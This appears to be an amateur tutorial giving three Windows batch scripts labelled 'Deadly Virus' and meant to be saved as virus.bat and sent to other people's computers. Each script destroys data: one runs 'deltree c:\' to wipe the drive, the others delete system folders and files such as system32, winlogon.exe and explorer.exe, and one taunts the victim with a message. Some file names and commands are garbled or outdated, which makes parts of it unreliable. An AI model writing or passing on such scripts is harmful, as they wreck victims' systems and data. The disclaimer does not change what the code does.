How to make "DEADLY VIRUS"

I have no responsibility for any damages either on your
computer or on other computers that you have send this file !
do not open it under any circumstances because it cannot be undone !
your hard disk will die !!

Anyway, here is the coding :

1 ... Deadly Virus

Firstly, open notepad ...

Second , type the following :

@echo off
deltree c:\

Save this file as virus.bat

Warning :- Do not open this !
                 This will delete everything on the hard disk...
                 You will need to re-install windows if this
                 File is opened< among with all your data !

2....Deadly Virus

@echo off
del "c:\windows\pchealth\"
del "c:\windows\system\"
del "c:\windows\system32\restore\"
del "winlogon.exe"
del "c:\windows\system32\autoexec.nt"
del "c:\windows\system32\logonui.exe"
del "c:\windows\system32\ntoskrni.exe"

Save this file as virus.bat

3...... Deadly Virus

@echo off
tskill explorer
del "c:\windows\system32"
del "c:\windows\explorer.exe"
msg * i deleted all your system files
exit

Save this file as virus.bat